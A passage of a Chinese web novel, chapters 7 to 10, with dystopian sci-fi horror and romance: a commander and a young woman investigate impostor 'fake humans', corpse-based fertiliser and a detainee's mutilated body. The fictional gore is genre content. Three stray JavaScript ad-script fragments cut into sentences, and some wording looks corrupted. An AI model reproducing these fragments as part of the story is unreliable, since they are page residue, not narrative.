“长官,情况复杂,局势的发展,超出了我们的预想和掌控……” 主管专员吞咽了下唾沫,神情由恭敬变成严肃,再变成无奈和束手无策,还是没能说出个所以然来。 纪令闻只见游骋眉眼淡淡,按着主管专员肩膀的机械臂顿了顿,声音寡淡,听起来却十分有分量。 “这样吧,你去找管理员说说你的苦衷。” 他说得不痛不痒,主管专员脸色却唰的一下白了,吓出冷汗。 问责的板子不会只打在个人身上,要么全体遭殃,要么推出来个替罪羊。 zcw533觑了一眼游骋的表情。 “报告指挥官,我们已对现场进行详细勘察,此次行动非常恶劣,他们过去只会吸取热量,而现在却……经核实涉事主体并未记录在案。” “即刻联系社区总部,请求立即支援,下区发现甲级伪人踪迹。” 说完游骋就走了。 纪令闻的指尖用力攥紧男人衣角,声音很轻:“你上次说的话,还作数吗?” 指的是,帮他离开这里。 游骋语调沉沉:“你想好了?” 就算纪令闻没想好,现在也必须想好了。 这回她跟魏站长结下过节,之后肯定还会给她小鞋穿,她无意介入社区管理的争斗,她现在只求自保。所以最妥善的办法就是找个倚仗。 这个人兴许不用高于魏站长,但绝对要旗鼓相当。 譬如,社区清理者指挥官——游骋。 她不是不识好歹的人,她知道游骋是为她好。唇亡齿寒嘛。 纪令闻由衷地点头。 “你能自己一个人回去吗?”游骋问。 这话没头没尾,什么自己回去? 纪令闻还没回答,纪思源就嚷嚷着要骑大马,她愣了愣,从这阵仗也猜出大概来。 接下来,一切的发展都匪夷所思。 纪思源真的如愿了,举高高,转圈圈。小家伙被逗得咯咯直笑,骑在游骋的肩颈上,欢呼着:“游骋叔叔太棒啦,再快点,再快点!” 游骋则稳稳地托着纪思源,脊背依然挺得笔直,配合着孩子的呼喊,模拟马儿的四肢小步快跑,还不时发出‘der驾’的口令声,仿佛真的在扮演一匹高头大马。 微风吹过,撩起他额前几缕发丝。外头霓虹夜灯一晃,照得脸庞轮廓像抹了极淡的光晕,眼皮那颗痣被衬得更加意气,居然透出了一种难言的、冷感消沉的柔软。 纪令闻观察他们的神色,看起来不像第一次‘骑大马’。 把人放下来时,游骋恰好看了她一眼,神情疏离平淡。那就是他的一点施舍,好像待谁都生冷,好像笑也并不真切。 “就你这一出,你以为能瞒过管理员?不说监控,魏站长随便泄露几句就知道我跟你怎么回事。” 是了。 不要去怀疑这一点,纪令闻和智核社区所有居民都不一样。父亲的过度保护让她察觉不到,外面比家里危险。 可看似寻常的家庭,却让她忽略一个很重要的细节。 她的身体不允许她杀死她自己。 7. 第 7 章 几分钟后,纪令闻跟大家被接到了居民聚集点。 纪思源新奇地望着周围,这是他第一次探索外面的世界。 “好冷。”他小声说,“但是有小姨陪在我身边,很开心。” 街道旁堆放着几株一堆还裹着湿润泥土的菜苗,瞬间吸引了纪思源的注意,他忍不住伸出手指戳了戳,受到园丁阻拦后立刻转身躲进纪令闻背后。 员工入职培训手册十。 【如果有其他区域人员参与你的工作内容,拒绝且无视,他们不是你的同事。可以去找园丁,他会帮你解决。】 “给您添麻烦了。”纪令闻接着说,“这些菜是要种在哪里?” 园丁本来打算不予理会,但架不住这人锲而不舍地追问,不得不敷衍地应了声:“想种在哪儿就种在哪儿。别挡道,我正忙着堆肥。” 说着,园丁挥舞着铁锹就开始刨坑了,还挺有劲。 郑嘉树目睹纪令闻吃瘪,说:“园丁负责种菜和打理花花草草,谁都看不上,没事你别找不痛快。我记得恶性事件就是这片街区的居民举报的。” 纪令闻慢吞吞地想,这些肥料是从哪儿搞来的? 只见园丁将推车上的有机肥料卸了下来,很浓的发酵味,水分干涸的乍一看有点像排泄物。 “好臭。”郑嘉树捂着鼻子靠近。 声色交错,纪令闻侧过身,不为所动。 郑嘉树跟游骋打了招呼后,来回搓着手踱步,欲言又止。 zxw533见不得他这样,直截了当问:“你是不是有什么话要说?” “是,是有点。”郑嘉树着急忙慌的,他瞄了一眼纪令闻的方向,又看向游骋表情不太自然。 好一会儿,才结巴着说出口:“游长官,你是纪令闻的表哥吧?” 游骋凝眸斜他,“嗯。” 郑嘉树激动地像一壶快烧开的沸水,“那你觉得我这人怎么样?够格当纪令闻的小弟吗?” 话里的意思再明显不过,简直就是大白话。 游骋刚要抬起机械臂的动作微顿,漆黑眸底不见任何情绪,他冷眼绕过郑嘉树,吐字如刀毫不嘴软,半点颜面都没给郑嘉树留:“不怎么样。” “哦,这样啊……”郑嘉树略显失望。 看在纪令闻是游骋表妹的份,上赶着想要结交的人不在少数,他这一说,其他人立刻不敢动心思了。 zxw533看热闹不嫌事大似的,他用手肘撞了下郑嘉树,偷摸开口:“没看出来你还挺有主张。” “这不是慕强嘛。” 这边的交谈传不到纪令闻耳朵里,她正看着园丁拿着搅棒搅拌肥料。 “沤制得勉强能用。你,去推车过来,咱们把菜苗埋进坑里,均匀地撒上肥料。”园丁因为忙不过来还特意招呼纪令闻帮忙,抽出空,问在观测现场的游骋:“那边的小哥,要来体验一下吗?” 游骋动了动嘴唇,没出声。 园丁撇下还在旁观张望的其他人,手持铁锹,步履矫健走到他跟前,“蔬菜得及时送到社区食堂,肥料也得跟上。可别耽误了事儿。” 纪令闻撸起袖子就去了。 即将走到独轮小推车边的时候,郑嘉树急忙上前一把抓住她:“你真干啊?” 纪令闻无意识皱了眉。 郑嘉树那句算得上冒失的话,其实已经踩在纪令闻的雷区。 她很排斥皮肤接触,特别这种未经允许毫无预警的方式。然而郑嘉树表现出了非常真诚的担心,她默了两秒用力甩开:“先顾好你自己吧。” 这伪人都泛滥了,有什么可怕的呢?她想。 就干点体力活,栽上菜苗,浇灌肥料,除了脏点臭点,还能掀起什么浪? 况且,眼里有活什么都好办。 郑嘉树苦着脸低声抱怨了一句,然后满脸纠结地远离小车,没一会儿,纪令闻推着独轮车将堆肥运到园丁指定地点。 哪怕是她这种四肢不勤五谷不分的人都懂,一个菜苗得配一个坑。 起初这活只有纪令闻肯干,郑嘉树就在旁边到处张罗,渐渐就有人跟着动手,干活的行列不断壮大。 园丁背着手颇为满意,转头就撞上游骋面无表情的脸,啧啧:“看什么看,脖子下面挂废铁,光会吆喝不动弹。” 看了一出好戏,提起兴致的游骋总算给出反应,但在他走了几步之后,园丁就仿佛按下了暂停键。 因为游骋轻飘飘提醒了句:“她不会白给你打黑工的。” 语气平常却裹挟极强的压迫感。 见他不像来虚的,园丁收敛起傲慢的神色,用意味深长的目光追随着纪令闻操劳的身影。 人多效率快。在劳作收尾那会儿,独轮车肥料见底,有人突然留意到其中夹杂的人体组织,大声惊呼。 但园丁对此早已见怪不怪,不足为奇。 “社区的蔬菜完全自产自销,肥料是必不可少的环节。食堂每天进行食材采购,保证居民吃到新鲜爽口的绿色有机蔬菜。” “另外,有一点很重要,没沤肥过的不能用,否则蔬菜会受损腐烂。” 纪令闻把所有已知线索归拢滤了一遍,最后分析得出结论:“园丁不止负责种菜,还有,埋尸?” 所谓的沤肥,原料就是那些意外死亡的人? 这意味着,社区居民能吃上尸体培育出来的蔬菜了。就是不知道吃的人有没有胃口。 不过大家也没有别的选择就是了。 “确实啊。”郑嘉树跟着她的思路捋顺,发现还真就是这么回事。只不过真相往往令人难以接受,仅是稍微思考‘自产自销’的概念,就足以被毛骨悚然占据,因此只有不知情才能畅享。 莫名的,游骋和纪令闻交换了一个眼神,在她迫切寻求认同的目光中,他随意地应了声:“可能是吧。” 游骋并没有解释太多,但纪令闻却理解了。 就在下一瞬间,纪令闻食指佩戴的勺戒闪烁起微光,机械音随之响彻:“账户内新增四十万工时。” 所有人都呆如木鸡。 “拿去。” 适才还颐指气使的园丁扯了扯嘴角,哼了一声 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' :“跟你的同伴分分,别说我让你打黑工。” 最开始园丁实打实地没把纪令闻当回事,就算她跟着游骋来的,但毕竟她只是个什么都不懂的新人,这么年轻好使唤,何必浪费多余的情绪。 早知道这丫头背景这,就该…… 当得知这天大的好事时,众人恐惧感顿时减轻了不少。每天在检查站拼死拼活也只能赚到100工时,种个菜还能沾沾光。 自由,对智核社区的居民未免太过奢侈,生活无非两种形式,上班和下班。下班睡觉,睡醒了上班,刷刷网络听听八卦,这一天又过去了。 请假、结婚、生育都要打申请,领导逐级审批还不一定通过。因此对普通上班族来说,只要有工时,就够了。 纪令闻把这四十万工时跟同事们分分,自己留点够用,却听见游骋主动开口说:“别拖延了。” 大家如梦初醒,哪里听不出游骋话里的暗示。 别忘了他们此行是为了调查恶性事件,继续滞留,纯粹是浪费时间。 魏站长带来的人包含纪令闻在内,现在只剩下三男两女,都想活命,幸存者先走,清理者断后。 “这个地方可不适合养小孩。”郑嘉树晦涩地看着纪思源,“他实在……与正常孩子不一样。我发现他智商很高,给他一个汽车拼图,他迅速拼完还能复原,但在生活常识方面就毫无用武之地……” 他沉吟片刻,继续说:“社区里已经很久没有新生命诞生了,说绝育也差不多了。纪思源这小孩混进来总让人不踏实?哎,亲妈没了你当小姨的起码负点责任,不说抚养成人,也得保证衣食无忧。当然这只是我个人想法,主要看你。” 毋庸置疑。 纪思源年纪尚小,离不开照顾,这让纪令闻意识到她没法顾头又顾尾。 这就是纪令闻绕不开的问题。 投靠游骋阵营,牵涉到了很多问题。在大人连自身安危都无法保证的时代,哪里有精力引导一个懵懂无知的小朋友去探索、去成长,残酷的现实更不会提供他快乐的童年。 “辛苦你陪他玩。”纪令闻有了个主意,“我会想办法的。” 郑嘉树拍着胸脯:“包在我身上。” 纪令闻从未体会过血浓于水的亲情,纪思源成了她唯一的家人……等等,这么说好像也不对。似乎忽略她那个常年不着家的父亲,可他竟然没主动找过自己,一次都没有。 无论原因何在,没找过是既定事实。纪令闻因游骋的闯入被带离了那个家,绝不能再回去,否则姐姐的死就白费了。 也许,比起她这个小姨,父亲才是教养纪思源的最佳人选。 趁人不注意的片刻,纪令闻就把这事儿跟游骋挑明,没想到游骋几乎不假思索地点了头。 她忍着满腹猜疑,低声问:“多一事不如少一事,你不会无缘无故帮我吧?” “利益驱使,那不是挺好的。”游骋定定地看着她,声音有些放空。 纪令闻费了好大劲等来和游骋单独说话的机会,但总觉得似乎有什么被遗漏了,又无从说起。 8. 第 8 章 两位清理者穿过人群,走到游骋面前。 有人想要跟过来,磨磨蹭蹭的不太敢。 zcw533中途还往人堆里投去一眼,这下想动的人就杵在原地不动了。 面对tyz478,zcw533说话就没那么正式了,“你琢磨琢磨,咱头儿这葫芦里到底卖的什么药?自己孤寡就算了,连表妹的桃花都给斩断了。” tyz478还没来及接话,就听游骋的声音幽幽传来:“你是我手下的人,如果你的能力仅限于此,那我得考虑给你换个新上司了。” zcw533立马收起了话头。 下区幽暗的分岔路就像一道道血管,纵横交错。游骋在前面领路,不知走了多久终于抵达地方。 “你们是谁?再不走我可喊人了!” 沙哑的男声从纪令闻斜侧方传来,抬眼望去,破败的搭建所前站着一个连心眉男人。 是上次证件照对不上的访客。名字好像是叫张杉。 他身后站着个面容消瘦的中年妇女,穿着碎花围裙,从他们紧握的手可以看出,这是一对夫妻。 连心眉男人上上下下把他们打量了个遍,最后停留在纪令闻因为暴扣颠倒怪物眼珠子,被血浸染的手。 纪令闻讨厌被人凝视,这让她成为凝视下的客体有被冒犯到,只能硬生生反过来端详对方,直到对方转过头去。 zcw533和tyz478表明清理者的身份。 每个人都清楚清理者的职责所在,就是浩浩荡荡出现得太突兀,令人不安。 “我们能到你家稍作停留吗?”游骋言辞客气周到,姿态疏离且不带情感色彩。 张杉明显不太情愿,但他的妻子打开了锈迹斑斑的铁门,轻声细语地回应:“来者是客,请进。只是家里拿不出什么可招待的。” “那就打搅了。”游骋轻微颔首。 众人跨进充满泥泞的小路,两旁路灯闪烁不定,周围情况模糊不清。 扶着落灰的门框,纪令闻低头缓缓走进小屋。 房子面积不大,一室一厅一卫,从里到外散发出一股陈旧气息。由于是临时搭建,屋顶渗漏,墙皮剥落,墙角甚至帐满了霉菌形成的蘑菇。 或许是久未打扫,空气中悬浮着细小的尘埃,连门口的地毯也在经过众人的踩踏后,留下深浅鞋印。 “阿嚏!”才进门,纪令闻就被灰尘呛得打喷嚏,惊起了一团团灰尘。 随后,跟接力似的喷嚏声在拥挤房间内此起彼伏。 纪令闻整个人都是混乱的,视野里一抹手帕掠过,捂住她的口鼻。只是下一刻,她对上的就是游骋深谙的眼睛,忍不住认真观察他的神色。 扑克脸归扑克脸,但他这双眼睛长得极为出色,完全睁开时是偏平行四边形的凤眼,眼尾双眼皮的弧度微微上翘,压着眉眼的时候就有一种冷感,不易近人。 还有他眼睑上方那颗痣点缀得恰到好处,眼珠与眼白的比例和谐完美。就算工作时显得不近人情,但看久了也习惯了,竟让人大胆到想摸摸他的头揉乱他的头发。 在这斑驳光影重叠之间,看不出有什么情绪涌动。 纪令闻指尖轻动,忽然有些无趣儿。 她那么静,不光嘴里没话,似乎心里也没话。 游骋眼神平定地看着她,缺乏真实感,这么一对比,那块手帕在防尘方面却是实实在在。 “不好意思,家里有点乱。”张杉快速撤下残羹剩饭,为这一大帮人腾出块地儿,“随便坐。” 张杉引着大家往沙发的方向走。 他妻子还帮纪令闻找了双早已看不出原本颜色的棉拖鞋,她摆手拒绝了人家的好意,沿着狭窄湖南的门厅走向里屋,却被卧室传出的哼唧声吵得心惊。 “家里只有你们两个人吗?”纪令闻谨慎发问。 张杉推门进了厨房,头也不回地说道:“还有个儿子,在发高烧。” 房梁挂着的那只小灯泡是仅有的光源,钨丝频闪,纪令闻勉强看清客厅的布置。 张杉家还有一间房,房门半掩,不如进去看看,也许能得到什么发现和隐藏线索。 纪令闻主动破冰:“太太怎么称呼?” “我姓梁,你们喊我梁姐就行。”中年妇女从桌底拿出一罐发霉冲剂,给大伙泡了壶喝的。 就在郑嘉树准备替纪令闻接手时,游骋却行云流水的把这活揽下,随后不经意间洒 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 了几滴液体,触地泛起泡沫。 到这,纪令闻心下了然,接过杯子后默默放到桌上。 梁姐见纪令闻不喝也没说话,疑虑更深:“怎么不喝?” 三个同事都没动,相互使了个眼色,你推我搡,直接扭打了起来。 纪令闻从沙发上站起,看了一眼梁姐,趁她拉架的功夫飞快溜进那间房。 厚重的窗帘仅仅拉拢,只允许几率微弱的光线从缝隙中溜进。墙壁上,一片片霉斑如同地图上的未知领域,悄无声息地蔓延开来,有的已经连成大片,呈现出色阶不同的绿,霉味难以名状。 除去配备单人床、学习桌和一个布满霉斑的旧木柜之外,屋内空无一物,连扇窗户都没有,给人的感觉非常压抑。 她猜测这是个有人居住的房间。 举目瞬间,纪令闻只觉踢到了什么东西,紧接着,就听见一声脆响,外面传来张杉夫妇起疑的声音。 完了。 纪令闻小心翼翼地蹲下来,四处探寻找藏身之处。 突然,她手指猛地一顿,指尖触到了某个有温度、微薄的东西—— 鼻息。 就在纪令闻想好托词,准备开口之际,她的脚踝被一只强有力的手握住,紧接着,整个人被卷入旧木柜里。 黑暗中,纪令闻没有准备,她的身体瞬间被束缚进一个活性怀抱,距离尤其近,近到能听到彼此的呼吸和心跳。时间久了,她的胳膊逐渐感到酸胀。 余光里,游骋兀自不动,脊背端直。 纪令闻想挪动,可双手被他牢牢扣住,动弹不了。 只能被迫接受现状。 木柜里,两具身体没有一丝缝隙。 柜子由红木打造,映着两个人脸颊都是红红的。 “儿子你终于醒了,有没有听见奇怪的动静?妈妈能不能进来看看?” 是梁姐的声音,已经快到门口了,身影若隐若现。 回应的是哑哑的童声:“妈妈我还想再睡会儿。” 梁姐应一声,也尊重孩子的意见没有进门。 他们在这乌嘛漆黑的闷柜里待了小半天,纪令闻拉开门透气,发现单人床上的被子有规律起伏,在呼吸。 9. 第 9 章 但因为这一下,她和游骋都没了继续躲着的劲头。 火光噌地亮开,影影绰绰照出两道人影。纪令闻回头看过去,游骋触发了机械手臂的照明程序,一手撑着挂衣杆,见她望过来,略微抬眼朝她掀了掀眉。 四周光线暗,看得并不昭著,此刻游骋冷淡眉眼一一被光线细致刻画,尘埃从未关严实的柜门潜进来,光影浮尘,胸膛与臂膀的连接处温度似乎被妃分隔,介于温与冷之间。 他手指不轻不重地敲着机械臂底盘。 游骋迎上纪令闻的视线,“在看什么?” 纪令闻登时感觉他的目光像成了形,被他看得有点不自然。她总不能说她在看他的义肢。 她随便找了个借口:“你怎么进来的?” “在你没注意的时候。”游骋慢条斯理地把话说完,跨出柜门,鞋尖在地上碾了一下。 可能是蹲的太久,纪令闻起身的时候才发现腿麻了,一个趔趄,游骋已经扶住她。 当肌肤接触,她不着痕迹地皱了皱眉,而他已经先一步收回了手。 纪令闻没有再开口,但她心底的疑惑是一点没减少。 按道理来说,游骋作为她的表哥,且是社区清理者,应该更要保持分寸。 可之前,游骋却在她家门口大肆杀戮伪人,并强硬地要求她同行。 后来,他又给她安排职位,明示她协助他离开。 这一切实在超过了她的想象。 纪令闻没那么自恋,也不会想是自己的人格魅力折服了游骋,她更倾向于游骋和社区中间生了嫌隙,拿她声东击西。 但现在人摆明不想多谈,纪令闻也就不再多言。 “你们在我房间找什么?” 突如其来的嘶哑的童声响起,纪令闻身形一颤,迅速将头转向声音来源。 那张单人床上,被子卷成蚕蛹,一个穿着单薄秋衣秋裤的男孩正注视他们。 约摸七八岁,皮肤蜡黄,头发也是干枯毛躁,典型的营养不良。 纪令闻极力克制咳嗽的冲动说:“你是张杉的儿子?能告诉我你的名字吗?我们到你家只是做客,没有恶意。” 尽管她这么解释,但他俩自踏进门就东张西望,稍有风吹草动就躲起来,怎么看都不像是正常的客人。 游骋将纪令闻微妙的转换收入眼底,后背抵着墙,几不可察地屈起手指,许久,抹了一把灰。 他伸手轻触男孩的额头试探体温,微微扬起下颚,示意纪令闻试试。 纪令闻立即响应,却发现男孩的手冷得出奇。 那男孩愣了一愣,随即下床跑去关门、上锁,动作一气呵成。之后他又蹬蹬跑回床边,一屁股坐下,拉开大书包的拉链,哗啦啦把里面的东西全倒了出来。 有儿童读物蜡笔玩偶,有未拆封的藻类制品,还有些杂七杂八的小玩意。 倒是一个不起眼的方形相框,让纪令闻不禁多看了几眼。 里面装的是一张涂鸦全家福,显然是一家三口,不过是拼凑的,色彩搭配发灰不太协调。落款还有男孩的名字,张帆帆。 纪令闻发现男人的连心眉还被划去了。 她联想到检查站的今日访客名单的证件照,张杉是连心眉,包括现在的张杉都是连心眉,而光明正大进入社区的则是断眉。 “你是在找这个吗?”纪令闻顺手将相框递给张帆帆。 “噢,对对。”张帆帆点头接过:“幸好,幸好还在,不然,几天后我们搬家,我都要忘记爸爸长什么样子了……” 床边堆满了大大小小打包好的行李。 心里略一计较,纪令闻面上做出思索的表情,踌躇一会儿,才温和开口:“要搬家了?” 张帆帆脸上露出对美好生活的憧憬,“嗯,我妈说,姑姑因公去世后,我们拿到一大笔慰问金,然后就可以住进更大的房子啦,再也不用吃水藻。” 姑姑也姓张?最近因公去世的员工似乎…… 纪令闻低头,目光落在那些包装完整的藻类制品,不由犯嘀咕:姑且不论这些东西能不能吃饱,光是这干瘪的外观,又能提供多少人体所需的营养。 “下区的人只能吃这些,别无选择。”游骋没什么语气地说。 纪令闻记得他出自下区,所以对此也合乎情理。现在别说下区居民只能吃水藻过活,就单单看体型和外貌,是绝看不出他吃过苦头。 但其实纪令闻也不确定,全靠猜。 游骋轻描淡写道:“你现在所见都是加工后的,方便长期六寸。不同于传统作物,水藻无需依赖阳光也能全年不断生长繁殖——” 他的话音适可而止的拦截。 外面传来梁姐的呼喊,喊了一声‘帆帆’。 “哎,我这就来。”张帆帆答应,飞快地收拢好刚才倒出来的东西,然后拉上大书包的拉链重新藏回被窝里。 “我妈在叫我,你们想找什么就找吧,我马上回来。”说完,一溜烟就跑了,还不忘带上了门。 就像什么都没发生过一样。 纪令闻绕着狭窄的卧室走了半圈,自然是没什么收获。 游骋不知道什么时候走到旧木柜前,他收回叩在柜门上的左手,对她说:“走吧,再晚他们该起疑心了。” 她走过去,满心疑虑,直到看见最里面那扇门,一路通往搭建所外。 这也就解开了他刚才及时出现并将她拽进衣柜的困惑。 “难怪你不慌不忙,原来你还留了一手……”纪令闻意识到什么,侧头看过去。 纪令闻仰起脸,一眨不眨地看着他,她比他又矮上很多,两人的目光恰逢其时地相撞。游骋才不可察地收敛眉眼,更隐晦的话抵着舌尖打转,倒是没开口了。 同时也发现,纪令闻现在的心绪不宁尤其的外露。 好像骗了她似的。 纪令闻刚才是真的紧张,又当知道游骋早有准备,这种紧张掺杂落空,就变成了一股复杂浓稠的情绪,总之不好受。 返回张杉家,游骋找了个舒适的姿势倚在墙壁上,他眼皮半垂,一字一句在纪令闻耳边炸响几个闷雷。 “我想匿名举报人应该就是你,张杉。” “什么?” 听到这个惊人的消息,张杉那双连心眉不自觉地皱起,而梁姐牵着张帆帆颤抖的手,暴露出她内心的波动与不安。 张杉阴暗地盯着纪令闻,似乎有所顾虑,最终还是承认了。 “没错,就是我。那个怪物是你们搞出来的吧?还大肆投喂它,一点都不给我们下区人留活路,你们决策层可别装糊涂!” 其他人反应过来他口中的怪物,就是造成检查站员工无辜丧命的颠倒生物,可这话里话外暗含的隐情是他们能听的吗? 这消息当头劈了下来,劈得大伙晕头转向。 短短数秒的静默却牵动着每个人的心弦。 结果游骋挥挥手,“带走。” zcw533和tyz478立刻会意,左右把张杉架起来押送上车。 就这么收尾了,其他几人也都嗅到了不同寻常的气息。 纪令闻转动眼珠,觉得是清理伪人一回事,社区管理体系不人性化又是另一回事。 见纪令闻一 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 副若有所思的模样,郑嘉树降低音量,问:“怎么了?张杉有什么问题吗?” “没什么,就惊讶而已。” 纪令闻没说,因为她已经反复确认,眼前的张杉和证件照上的形象确实极为吻合,特别是连心眉中间,有毛发生长的痕迹。 但话说回来,也不能说完全一致,比如他眉尾的部分显得不太自然,像是刻意修饰过的。 收尾得非常迅速,检查站幸存的五个人才一脸疲惫地结伴回上区。那天发生的事情太多,冲击力太大,即使身体得到放松,一直强撑着,紧绷的神经却很难放松下来。 纪令闻满脑子都在想离开家前往检查站工作的事情,其他该记得的事情她都有印象,唯独每当想要深入了解,她的思维就像被一刀切断般,接收不到任何信号,屏幕最终只呈现出白茫茫的雪花。 她无数次在家观看录像带从未有追溯过去的念头,被游骋强行带离后,突然闪了一下。好像遮蔽已久的大雾终于被解开,自我意识变得明确而清冽,从头到脚贯穿到整个身体。 正难受得缺氧,纪令闻猛地睁开双眼,迎头对上窗外一双双瞳孔扩散、呼之欲出的眼睛。 眼睛的主人,或者说眼睛本身就是视觉主体,正是密集恐惧症患者竭力想要回避的画面。除去眼睛,其余部位和人类无异,只有那双长长的指甲扒拉着防盗窗。 对成年人而言,每分钟60-100次之间被视为正常范围,这一数据来源于大量人群统计得出的平均值及正常范围。就在刚才与那么多眼珠子相对的时候,纪令闻自测了一下。 她现在心率达到了200次。 心动过速,但除了一阵阵心慌,她身体并未感到任何不适,总觉得哪里有些不对劲。 不待宕机的大脑做出应对,一个魁伟的身影三步并两步冲到窗边,他操纵着锋利刀刃的机械手臂,迅速就将那指甲锯成了两段,呼哧扯上窗帘,再旋身跃上床,粗莽地将纪令闻的头摁在自己胸前。 “闭眼,快睡。” 话音刚落,纪令闻察觉到窗外的风丝溜了进来。 进来的不局限于风,还有另外的东西。 头被蒙着,纪令闻感受到一道黏腻而癫狂的视线盯上了自己,接着,那东西靠近了床边,她甚至能感受到背后的床垫因为重量轻微下沉,带有毛刺的指甲拂过颈侧,若有若无的搔痒,激起她全身的鸡皮疙瘩。 本能反应的,纪令闻直接贴紧了游骋的胸膛,不出声地呼出热气。她相信他不会把她卖了。 她有多久没出过门了?为什么离开家后总是接连不断惹上这些东西?而且都还奇形怪状的? 这问题游骋是抹不开,纪令闻则是茫无头绪。 纪令闻的下巴无意识地支在他肩膀上,刚撞见那么多双眼睛,她浑身上下都叫嚣着热,但是她很快发现他的体温比她更高。 那身隔离服衬得他挺拔魁梧,肩宽腰窄,环抱住她腰身的原装手更是强劲有力,将底下的肌肉形状勒得愈发鼓胀,如块垒。 不知过了多久,久到纪令闻已经无感,她撑着底要起身,人没起来,却触及软绵绵的手感。 她下意识地摸了摸,又往下捏,男人一只手攥住她手腕,“摸够了吗?” 声色不辨喜怒。 掌下,能知觉到逐渐紧绷的肌肉。 “摸够了。”纪令闻急急别开头,睫毛扑朔,真的什么都不再摸了。 游骋说:“你占我便宜。” 纪令闻停顿一下,“我没有占你便宜。” 对此,游骋回答得相当准定:“那就是你在占我便宜。” 10. 第 10 章 纪令闻就要被游骋忽悠瘸了,现在还有口气纯属本能在负隅顽抗,潜意识早就乱套了,离短路就差最后那个‘触点’,不清楚那是什么,但似乎什么都可能是。 一不做二不休,机油味伴随着游骋身上清冽气味,经体温晕开后,属于他的气息就愈发浓郁,掩盖过了机油味。危机过后的纪令闻并未像自己预期中失眠,很快熟睡过去。 再睁开眼,还是被门外撕心裂肺的尖叫声惊醒。 周围被深沉的黑暗吞噬,一片漆黑。两个室友破天荒地都不在。 纪令闻摸索着按下开关,但寝室灯管始终未亮。 刚擦过全息裸眼屏界面就亮起。里面没有什么操作栏,只有基础功能和调度系统,连时间都没了。 不仅如此,无论纪令闻怎么尝试,全息裸眼屏都显示暂无查看权限,上面的调度系统形同虚设。 心里不由升起一股莫名的担忧:这是停电还是故障? 与同样醒来的游骋对视了短暂几秒,两人默契地没有言语交流,在纪令闻一个打挺下床后,游骋才不慌不忙地坐起身,十分从容地转动脖颈,目光扫过那敲得震天响的房门,缓缓走到纪令闻身边。 当纪令闻打开门,首先映入眼帘的是满脸凝重的李宝嘉和随时都会倒下的安柏。 李宝嘉带着颤音说:“出事了。” 紧邻B4844的隔壁,也就是张杉被羁押的房间门外,自房门底悄然渗出一滩暗红色的液体,长时间流淌后,边缘部分已经干涸变得稀薄,与洁白地板形成鲜明的对比,异常引人注目。 尽管举报的调查尚未明朗,但面对这关乎人命的事,所有人的脸色都不好看。 游骋面无表情,目光掠过地上的斑斑血迹,绕过纪令闻,抬手握住门把手。 两人气质截然不同,但散发的气场都不逊色,一走过来,开阔的空间顿时逼仄得让人透不过来气。 李宝嘉正要想提醒开门受阻,就看见那扇怎么撞都纹丝不动的门,却在他手下神奇地推开了。 室内惨状暴露无遗。 一具空荡荡的躯体静静地躺在那里,只留给众人一个侧面,可即便从这个角度看过去,骨头内脏都一应俱全,而面部遭受重创,眼珠子已不在眼眶内,黑黢黢。血液里夹杂着碎肉和毛发组织。 尖锐而短暂的凉气声接连响起,伴随着一连串干呕声,此起彼伏,仿佛要将人的神经撕裂。 心理能力稍微强点的都不忍直视,全程没多少反应的只有纪令闻和游骋两个人。 游骋看了一眼大概判断怎么回事,其余时间都在近距离观察纪令闻的反应。 有趣了。 沉得住气,对血不敏感,抗压能力强。 游骋突然很想探究一下,到底什么样的情境能看到她情绪崩溃。 纪令闻对此真的无动于衷吗? 这么说也不尽然,有些出入。 纪令闻觉得事情更棘手了,脑筋被剪断了一次又一次,想要整理起来就耗费大量精力。 不可否认,纪令闻刹那失神,似乎很多年前她也曾来过这里,只是同行的人已经不同。 突然生出物换星移、人非昔比的感喟。瞬息即逝。 其实纪令闻本性也不如外表那样熨帖平静,当见证社区那么多机密后,她选择了回避,而不是以第一视角直面所有人,她必须得适应。 “最近宿舍总会突然停电,电压很不稳定,我向魏站长反应过,她只说知道了就没再有后续。”李宝嘉说着,指了下总电闸箱。 死者是不是张杉有待考量,且尸体严重受损,无法通过常规方式辨认,只能依靠他的亲属。但就在所有人都在关注停电问题时,张杉的尸体却突然消失了。 搬来梯子,纪令闻稳稳攀爬上去,开始逐条翻阅用电记录,从中筛选出了几个时段存在异常的数据。 “哪个电表是安装在我们这层的?” 李宝嘉抬头,举起手电筒给她照了照亮。 随后,纪令闻将随身戴着的工牌插入手边的插槽,同时盯紧了墙上指针凝滞的电表。 不出所料,这一层的电表转速飙升,与其他楼层相比差距一目了然。 顿时员工宿舍里掀起一小片欢呼,充满喜悦:“来电啦!” “怎么会这样?工牌不就是用来打卡的么,怎么电力供应这么快就恢复了?”李宝嘉显然被惊到。 纪令闻没有回答,她也不知道怎么解释这个原理,停电不一定是跳闸,但是她可以不懂装懂:“这就是管理员的小巧思了。” 没等李宝嘉回过神,她只拔下工牌,转过身推门快步下楼去了。 倒是游骋扯了句哪也不沾哪的话:“大家各归各位,别聚集在这里。” 没让人离开也没让人滞留,是在警告他们别乱说话。 清理者闻讯赶来,立即封锁现场相关消息,接了一通电话,游骋未留下只字片语就走了,似乎出了什么急事。 工作上游骋还是很拼的,不是只会坐吃空饷的那类闲杂人等。 当初空降到智核社区,众多高层都没把他放在眼里,可游骋却凭借实力站稳了阵脚,身体力行地粉碎了流言蜚语。 也正因如此,所以管理员才对他寄予厚望,放手让他担任清理者指挥官。 游骋办完一桩事,但没想到竟然遇到纪令闻,她在等他。 宿舍楼下熙熙攘攘,不是个说话的地方,游骋便领着纪令闻到自己的办公室。 门一关,外面的嘈杂声被隔绝在外。 他低头,见纪令闻将工牌紧紧攥在手里。 “档案室调出了他们的信息,张晓亚和张杉是兄妹关系。前些天,张晓亚的账户有活动记录,还给老家汇了一笔工时。” 四五天前,张晓亚猝死这事才被公布出来。社区有个不成文的规定,去世职工账户中所有工时都会被清空,无一例外。 不出勤工作就没有报酬可领。 纪令闻心里有数,好半晌才把这件事串联起来,然后,大胆地说出了自己的猜想:“可她不是已经……怎么可能还在工作?除非伪人取代了她。” 明明这事计划得是天衣无缝,怎么都不会被抓到的。但,张杉死了。 她心里有个更猛的猜测,但不敢确定。 “令闻。” 